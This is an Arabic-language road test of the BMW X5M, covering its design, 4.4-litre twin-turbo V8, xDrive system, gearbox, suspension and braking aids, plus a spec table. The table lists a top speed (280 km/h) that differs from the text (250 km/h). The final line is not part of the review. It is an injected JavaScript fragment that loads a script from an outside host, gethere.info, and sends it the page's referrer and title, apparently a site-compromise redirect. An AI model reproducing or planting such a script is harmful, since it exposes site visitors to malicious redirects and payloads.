بي ام دبليو X5M تقنيات متقدمة وحضور رياضي مميز

أرست بي أم دبليو معايير جديدة لإنتاج السيارات المتعددة الاستعمالات مع الجيل الجديد X5M، وتقوم هذه المعايير على الحفاظ على الأداء الرياضي القوي والمطعم بتقنيات M المميزة اضافة الى تعزيز الأداء وقوة المحرك والعمل على تخفـيف استهلاك الوقود، وبالفعل فقد حققت بي ام دبليو هذه الاهداف كافة مع الطراز الجديد من X5M ، فيمتاز بتصميم رياضي رشيق وحضور قوي يعبر عن القوة والشراسة، أما بالنسبة للقوة فهي المرة الأولى التي تزود بي إم دبليو احدى السيارات الرباعية الدفع بمحرك بهذه القوة، فالمحرك المتوفر لدى X5M  ذات قوة هائلة تصل الى 575 حصان ما بين 6000 و6500 دورة في الدقيقة مع عزم يصل الى 750 نيوتن متر ويتألف هذا المحرك من ثماني اسطوانات V8 سعة 4.4 ليتر وهو مدعوم بشاحني توربو والجدير بالذكر ان استهلاك الوقود انخفض بشكل ملحوظ مع الطرازات السابقة، وقد بلغ متوسط استهلاك الوقود فـي كلا الطرازين 11.1 ليتر لكل مئة كلم، اما كمية ثاني أوكسيد الكربون المنبعثة فبلغت 258 غرام/كلم وهي نسبة جيدة نظراً لحجم المحرك وقوة السيارة، وتتوزع قوة المحرك لدى X5M ما بين العجلات الأربع بطريقة مدروسة وبشكل مستمر وبنسبة تتراوح ما بين صفر الى 100٪ من قوة المحرك ما بين عجلات السيارة الأمامية والخلفـية وذلك تبعاً لمعطيات القيادة وحالة الطريق، أما بالنسبة لنقل الحركة فـيتم عبر علبة سرعات أتوماتيكية من ثماني نسب StepTronic M، ويستطيع X5M الوصول الى سرعة 100 كلم/ساعة خلال 4.2 ثوانٍ فـيما حددت السرعة القصوى بـ 250 كلم/ساعة. لقد كان لنا لقاء مع X5M الجديد، حيث قمنا باختبارها لكم على الطرقات الجبلية اللبنانية لنعود اليكم بالتقرير التالي.

يمتاز X5Mبحضور قوي ومميز، فمع اطلاق الطراز الجديد من X5  قام مصممو بي ام دبليو بتعزيز الحضور القوي للسيارة وذلك انسجاماً مع أداء السيارة وكذلك فقد أضافت ملامح M السوبر رياضية رونقاً خاصاً للتصميم، ويمتاز التصميم بشكل عام بالانسيابية المدروسة حيث تظهر السيارة وكأنها تلتصق بالطريق وقد تم الدمج ما بين الأجزاء المنحنية والمسطحة بشكل مبتكر حيث ظهرت العضلات القوية للسيارة بشكل واضح وكذلك تمت مراعاة معايير الاحتكاك مع الهواء بشكل دقيق وبالنظر الى مقدمة السيارة فهي تحمل هوية بي إم دبليو التقليدية ولكن مع فتحات تهوية واسعة جداً وذلك لتأمين تبريد العجلات والمحرك أما المشهد الجانبي فهو تعبير آخر عن القوة حيث تظهر العجلات الضخمة التي يبلغ قياسها 20 بوصة لتزيد من حضور السيارة، وقد تم ادخال العديد من تشطيبات M ، فالعجلات الرياضية من تصميم M وكذلك المرايا الجانبية اضافة الى مخارج العادم والعديد من التشطيبات الدقيقة، وكذلك امتدت الفخامة والاتقان الى داخل المقصورة حيث استخدمت أجود المواد فـي صناعة المقصورة وكذلك تم الاعتناء بأدق التفاصيل فتم تغليف عجلة المقود بالجلد الفاخر وكذلك زودت عجلة القيادة بعتلة من الألمنيوم من تصميم M وذلك لتبديل النسب أما المقاعد فهي رياضية من تصميم M وهي مكسوة بالجلد الفاخر Merino ويتم التحكم بالمقاعد الأمامية كهربائياً، أما من ناحية الراحة والآمان فقد جهزت المقصورة بشكل متكامل فنظام التكييف تلقائي أما نظام الصوت فهو رائع ومزود بسماعات HIFI، أما على صعيد التقنيات فقد جهز X5M بمرايا جانبية وداخلية مع تقنية تجفـيف بخار الماء، وكذلك فقد تم تجهيز السيارة بنظام استشعار للمساعدة أثناء الرجوع الى الخلف مع كاميرا أما بالنسبة للمصابيح فهي تعمل كافة وفق تقنية LED وهي تتأقلم مع المنعطفات للحصول على أفضل رؤية، وكذلك يجدر بنا التوقف عند نظام الملاحة الجديد الذي يعرض بياناته على شاشة ثلاثية الأبعاد وبشكل واضح أكثر من الأجيال السابقة وكذلك فقد جهز X5M  بشاشة عرض لبيانات القيادة مثل حالة المحرك والسرعة والغيار المستخدم وكافة تفاصيل الأداء.

المحرك القوي
زودت بي ام دبليو X5M  بمحرك قوي جداً، وهي المرة الأولى التي تحصل فـيها سيارة رباعية الدفع على محرك بهذه القوة من ـي بي ام دبليو، ويتألف المحرك المتوفر لدى كلا الطرازين من ثماني اسطوانات سعة 4.4 ليتر، وقد ازدادت قوة هذا المحرك بنسبة 4٪ مقارنة مع الجيل السابق ويعود ذلك الى التعديلات التي طالت كافة أجزاء المحرك اضافة الى لمسات M الرياضية، فالمحرك الجديد مدعوم بشاحني توربو وهو كذلك مزود بتقنية الحقن المباشر للوقود أما الصمامات فـيتم تعديل نسبة انفتاحها تلقائياً حسب سرعة المحرك وذلك بفضل تقنية Valve Tronic وتصل قوة هذا المحرك إلى 575 حصان ما بين 6000 و6500 دورة في الدقيقة أما العزم فـيبلغ 750 نيوتن متر ما بين 2200 و5000 دورة في الدقيقة ، وقد بلغ معدل استهلاك الوقود لهذا المحرك 11.1 ليتر لكل 100 كلم وهو معدل جيد نظراً لقوة هذا المحرك ويستطيع هذا المحرك دفع X5M  الى سرعة 100 كلم/ساعة خلال 4.2 ثوان والوصول الى سرعة ٢٥٠ كلم/ساعة كحد أقصى.

الأداء
تتوزع قوة المحرك على العجلات الأربعة بشكل دائم بفضل نظام الدفع الرباعي الذكي XDRIVE ويعمل هذا النظام على توزيع القوة ما بين عجلات السيارة الامامية والخلفـية بشكل مستمر وذلك تبعا لحالة الطريق وللمعطيات التي تتلقاها الحساسات المثبتة فـي كل عجلة ويتم توزيع القوة ما بين صفر الى 100٪ ما بين العجلات الأمامية والخلفـية ويتم ذلك بفضل ترس تفاضلي ذات انغلاق تلقائي، أما بالنسبة لنقل الحركة فـيتم عبر علبة سرعات جديدة ومبتكرة من تصميم M وتتألف هذه العلبة من ثماني نسب Step Tronic M وقد ربطت هذه العلبة الى المحرك عبر قابض هيدروليكي مزدوج، وتتسم علبة السرعات بسلاستها وسرعة استجابتها وهي مزودة بتقنية Drive Logic التي تحتوي ثلاثة انماط من القيادة وهي النمط التوفـيري وهو الأنسب للقيادة داخل المدن المزدحمة اضافة الى النمط المريح والنمط الرياضي، وكذلك تتوفر امكانية التحكم بالسرعات عبر عتلة فـي أسفل عجلة القيادة وذلك لتمتع بتبديل الغيارات يدوياً.

نظام تعليق فعال وتوجيه دقيق
زودت بي ام دبليو X5M  بتعليق نشط وقوي يتأقلم وفقاً لنمط القيادة المتبع، ويتألف التعليق الأمامي من مخمدات هوائية مع تعليق مزدوج وكذلك التعليق الخلفـي فقد زود بمخمدات هوائية مع وصلات متعددة أما بالنسبة للتوجيه فهو دقيق جداً وهو ذات تحكم الكتروميكانيكي EPS وهو مصمم خصيصاً من قبل فرع M الرياضي.

التقنيات المساعدة
كما سبق وذكرنا فقد حقق X5M  تميزاً لافتاً على كافة الصعد ابتداءً من التصميم وصولاً الى الانظمة الميكانيكية والأداء، وقد حرصت بي ام دبليو أيضاً على تعزيز منظومة الآمان والقيادة مقارنة مع الجيل السابق، فقامت بتزويد سيارتها الجديدة بأنظمة تحكم الكترونية التي تعتمد بشكل أساسي منظومة XDRIVE وDSC وفق ثلاثة أنماط، الأول وهو نمط DSC ON حيث يتم تفعيل التحكم الالكتروني بشكل كامل، أما النمط الثاني فهو ديناميكي MDM حيث يتم تخفـيف الضوابط بعض الشيء ليتمكن السائق من التمتع بالقيادة الرياضية ولكن ضمن حدود معينة أما النمط الأخير فهو DSC OFF ويتيح هذا النمط قيادة رياضية متطرفة دون تدخل الكتروني الا فـي بعض الحالات الخطرة كي لا تخرج السيارة عن نطاق السيطرة، والجدير بالذكر أن نظام الكبح لدى X5M قوي جداً وفعال وهو مزود بأقراص مهواة مع ست مكابس فـي الأمام ومكبس واحد للمكابح الخلفـية وقد دعمت المكابح بنظام ABS لمنع الانغلاق ونظام CBC للتحكم بالكبح أثناء الانعطاف وكذلك تعمل تقنية HDC على تفعيل المكابح وذلك لمنع التراجع الى الخلف أثناء الاقلاع على المنحدرات وكذلك زودت المكابح أيضاً بتقنية DBC لتوزيع قوة الكبح.
اخيراً وليس اخراً، اعجبنا جداً بأداء سيارة X5M الجديدة على الطريق، حيث توفر هذه الـ SUV الرياضية أداء فعلاً رياضي على الطريق وليس فقط ارقام على ورق. يمكن وصف X5M الجديدة فعلاً بسيارة متكاملة قادرة على القيام بمهام متعددة تبدأ من العملانية للقيادة اليومية وصولاً إلى أداء رياضي صارخ يمكن الاستمتاع به على حلبات السباق.

البطاقة التقنية لـ بي ام دبليو X5 M
الاندفاع: رباعي
عدد الاسطوانات: 8
السعة (ليتر): 4.4 مع شاحني توربو
القوة (حصان/ د.د.): 575/ 6000 – 6500
عزم الدوران (ن – م/ د.د.): 750/ 2200 – 5000
من صفر الى 100 كلم/س (ثانية): 4.2
السرعة القصوى (كلم/س): 280
الوزن (كلغ): 2275

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;